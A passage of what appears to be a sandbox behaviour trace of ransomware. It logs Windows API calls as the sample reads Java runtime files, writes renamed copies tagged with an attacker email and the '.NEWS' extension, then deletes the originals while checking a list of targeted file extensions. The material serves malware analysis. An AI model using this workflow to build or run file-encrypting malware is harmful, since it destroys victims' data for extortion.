(hFile=0x480) returned 1 [0162.930] CloseHandle (hObject=0x480) returned 1 [0162.930] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0162.931] SetEndOfFile (hFile=0x468) returned 1 [0162.936] CloseHandle (hObject=0x468) returned 1 [0162.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0163.190] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1 [0163.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.819] lstrlenW (lpString=".doc") returned 4 [0163.819] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.820] lstrlenW (lpString=".docx") returned 5 [0163.820] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.820] lstrlenW (lpString=".pdf") returned 4 [0163.820] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.820] lstrlenW (lpString=".xls") returned 4 [0163.820] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.820] lstrlenW (lpString=".xlsx") returned 5 [0163.820] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.820] lstrlenW (lpString=".ppt") returned 4 [0163.820] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.820] lstrlenW (lpString=".zip") returned 4 [0163.820] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.820] lstrlenW (lpString=".rar") returned 4 [0163.820] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.820] lstrlenW (lpString=".bz2") returned 4 [0163.820] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.820] lstrlenW (lpString=".7z") returned 3 [0163.820] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.820] lstrlenW (lpString=".dbf") returned 4 [0163.820] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.820] lstrlenW (lpString=".1cd") returned 4 [0163.820] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.820] lstrlenW (lpString=".jpg") returned 4 [0163.820] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.821] lstrlenW (lpString=".doc") returned 4 [0163.821] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.821] lstrlenW (lpString=".docx") returned 5 [0163.821] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.821] lstrlenW (lpString=".pdf") returned 4 [0163.821] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.821] lstrlenW (lpString=".xls") returned 4 [0163.821] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.821] lstrlenW (lpString=".xlsx") returned 5 [0163.821] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.821] lstrlenW (lpString=".ppt") returned 4 [0163.821] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.821] lstrlenW (lpString=".zip") returned 4 [0163.821] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.821] lstrlenW (lpString=".rar") returned 4 [0163.821] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.821] lstrlenW (lpString=".bz2") returned 4 [0163.821] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.821] lstrlenW (lpString=".7z") returned 3 [0163.821] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.821] lstrlenW (lpString=".dbf") returned 4 [0163.821] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.822] lstrlenW (lpString=".1cd") returned 4 [0163.822] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.822] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0163.822] lstrlenW (lpString=".jpg") returned 4 [0163.822] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.822] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0163.822] lstrlenW (lpString="jce.jar") returned 7 [0163.822] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0163.824] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=116446) returned 1 [0163.824] CloseHandle (hObject=0x4c4) returned 1 [0163.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0163.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0163.825] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0163.825] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.825] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.825] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504 [0163.916] GetLastError () returned 0x0 [0163.916] ReadFile (in: hFile=0x4c4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x1c6de, lpOverlapped=0x0) returned 1 [0163.950] WriteFile (in: hFile=0x504, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x1c6e0, lpOverlapped=0x0) returned 1 [0163.954] ReadFile (in: hFile=0x4c4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0163.954] WriteFile (in: hFile=0x504, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xe2, lpOverlapped=0x0) returned 1 [0163.954] SetEndOfFile (hFile=0x504) returned 1 [0163.954] CloseHandle (hObject=0x504) returned 1 [0163.960] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.960] SetEndOfFile (hFile=0x4c4) returned 1 [0164.001] CloseHandle (hObject=0x4c4) returned 1 [0164.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0164.002] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1 [0164.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.003] lstrlenW (lpString=".doc") returned 4 [0164.003] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0164.003] lstrlenW (lpString=".docx") returned 5 [0164.003] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0164.003] lstrlenW (lpString=".pdf") returned 4 [0164.003] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0164.003] lstrlenW (lpString=".xls") returned 4 [0164.003] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0164.003] lstrlenW (lpString=".xlsx") returned 5 [0164.003] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0164.003] lstrlenW (lpString=".ppt") returned 4 [0164.003] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0164.003] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.003] lstrlenW (lpString=".zip") returned 4 [0164.003] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0164.003] lstrlenW (lpString=".rar") returned 4 [0164.003] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0164.003] lstrlenW (lpString=".bz2") returned 4 [0164.003] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0164.003] lstrlenW (lpString=".7z") returned 3 [0164.003] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0164.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.004] lstrlenW (lpString=".dbf") returned 4 [0164.004] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0164.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.004] lstrlenW (lpString=".1cd") returned 4 [0164.004] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0164.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.004] lstrlenW (lpString=".jpg") returned 4 [0164.004] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0164.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.004] lstrlenW (lpString=".doc") returned 4 [0164.004] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0164.004] lstrlenW (lpString=".docx") returned 5 [0164.004] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0164.004] lstrlenW (lpString=".pdf") returned 4 [0164.004] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0164.004] lstrlenW (lpString=".xls") returned 4 [0164.004] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0164.004] lstrlenW (lpString=".xlsx") returned 5 [0164.004] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0164.004] lstrlenW (lpString=".ppt") returned 4 [0164.004] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0164.004] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.004] lstrlenW (lpString=".zip") returned 4 [0164.004] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0164.004] lstrlenW (lpString=".rar") returned 4 [0164.004] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0164.005] lstrlenW (lpString=".bz2") returned 4 [0164.005] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0164.005] lstrlenW (lpString=".7z") returned 3 [0164.005] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0164.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.005] lstrlenW (lpString=".dbf") returned 4 [0164.005] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0164.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.005] lstrlenW (lpString=".1cd") returned 4 [0164.005] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0164.005] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0164.005] lstrlenW (lpString=".jpg") returned 4 [0164.005] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0164.005] lstrcmpiW (lpString1=".jfc", lpString2=".NEWS") returned -1 [0164.005] lstrlenW (lpString="default.jfc") returned 11 [0164.005] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0164.006] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=20109) returned 1 [0164.006] CloseHandle (hObject=0x4c4) returned 1 [0164.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0164.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0164.007] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.007] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.007] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0164.080] GetLastError () returned 0x0 [0164.080] ReadFile (in: hFile=0x4c4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x4e8d, lpOverlapped=0x0) returned 1 [0164.083] WriteFile (in: hFile=0x508, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x4e90, lpOverlapped=0x0) returned 1 [0164.085] ReadFile (in: hFile=0x4c4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.085] WriteFile (in: hFile=0x508, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xea, lpOverlapped=0x0) returned 1 [0164.085] SetEndOfFile (hFile=0x508) returned 1 [0164.085] CloseHandle (hObject=0x508) returned 1 [0164.085] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.085] SetEndOfFile (hFile=0x4c4) returned 1 [0164.089] CloseHandle (hObject=0x4c4) returned 1 [0164.090] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0164.090] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 1 [0164.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.091] lstrlenW (lpString=".doc") returned 4 [0164.091] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0164.091] lstrlenW (lpString=".docx") returned 5 [0164.091] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0164.091] lstrlenW (lpString=".pdf") returned 4 [0164.091] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0164.091] lstrlenW (lpString=".xls") returned 4 [0164.091] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0164.091] lstrlenW (lpString=".xlsx") returned 5 [0164.091] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0164.091] lstrlenW (lpString=".ppt") returned 4 [0164.091] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0164.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.091] lstrlenW (lpString=".zip") returned 4 [0164.091] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0164.091] lstrlenW (lpString=".rar") returned 4 [0164.092] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0164.092] lstrlenW (lpString=".bz2") returned 4 [0164.092] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0164.092] lstrlenW (lpString=".7z") returned 3 [0164.092] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0164.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.092] lstrlenW (lpString=".dbf") returned 4 [0164.092] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0164.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.092] lstrlenW (lpString=".1cd") returned 4 [0164.092] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0164.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.092] lstrlenW (lpString=".jpg") returned 4 [0164.092] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0164.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.092] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.092] lstrlenW (lpString=".doc") returned 4 [0164.092] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0164.092] lstrlenW (lpString=".docx") returned 5 [0164.092] lstrcmpiW (lpString1=".docx", lpString2="t.jfc") returned -1 [0164.092] lstrlenW (lpString=".pdf") returned 4 [0164.092] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0164.092] lstrlenW (lpString=".xls") returned 4 [0164.092] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1 [0164.092] lstrlenW (lpString=".xlsx") returned 5 [0164.092] lstrcmpiW (lpString1=".xlsx", lpString2="t.jfc") returned -1 [0164.092] lstrlenW (lpString=".ppt") returned 4 [0164.092] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1 [0164.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.093] lstrlenW (lpString=".zip") returned 4 [0164.093] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1 [0164.093] lstrlenW (lpString=".rar") returned 4 [0164.093] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1 [0164.093] lstrlenW (lpString=".bz2") returned 4 [0164.093] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1 [0164.093] lstrlenW (lpString=".7z") returned 3 [0164.093] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1 [0164.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.093] lstrlenW (lpString=".dbf") returned 4 [0164.093] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1 [0164.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.093] lstrlenW (lpString=".1cd") returned 4 [0164.093] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1 [0164.093] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc") returned 54 [0164.093] lstrlenW (lpString=".jpg") returned 4 [0164.093] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1 [0164.093] lstrcmpiW (lpString1=".jfc", lpString2=".NEWS") returned -1 [0164.093] lstrlenW (lpString="profile.jfc") returned 11 [0164.093] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0164.094] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=20065) returned 1 [0164.094] CloseHandle (hObject=0x4c4) returned 1 [0164.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 0x20 [0164.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.095] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0164.095] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.095] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.096] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0164.096] GetLastError () returned 0x0 [0164.096] ReadFile (in: hFile=0x4c4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x4e61, lpOverlapped=0x0) returned 1 [0164.099] WriteFile (in: hFile=0x508, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x4e70, lpOverlapped=0x0) returned 1 [0164.101] ReadFile (in: hFile=0x4c4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.101] WriteFile (in: hFile=0x508, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xea, lpOverlapped=0x0) returned 1 [0164.101] SetEndOfFile (hFile=0x508) returned 1 [0164.101] CloseHandle (hObject=0x508) returned 1 [0164.101] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.102] SetEndOfFile (hFile=0x4c4) returned 1 [0164.122] CloseHandle (hObject=0x4c4) returned 1 [0164.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0164.123] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1 [0164.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54 [0164.123] lstrlenW (lpString=".doc") returned 4 [0164.124] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1 [0164.124] lstrlenW (lpString=".docx") returned 5 [0164.124] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1 [0164.124] lstrlenW (lpString=".pdf") returned 4 [0164.124] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1 [0164.124] lstrlenW (lpString=".xls") returned 4 [0164.124] lstrcmpiW 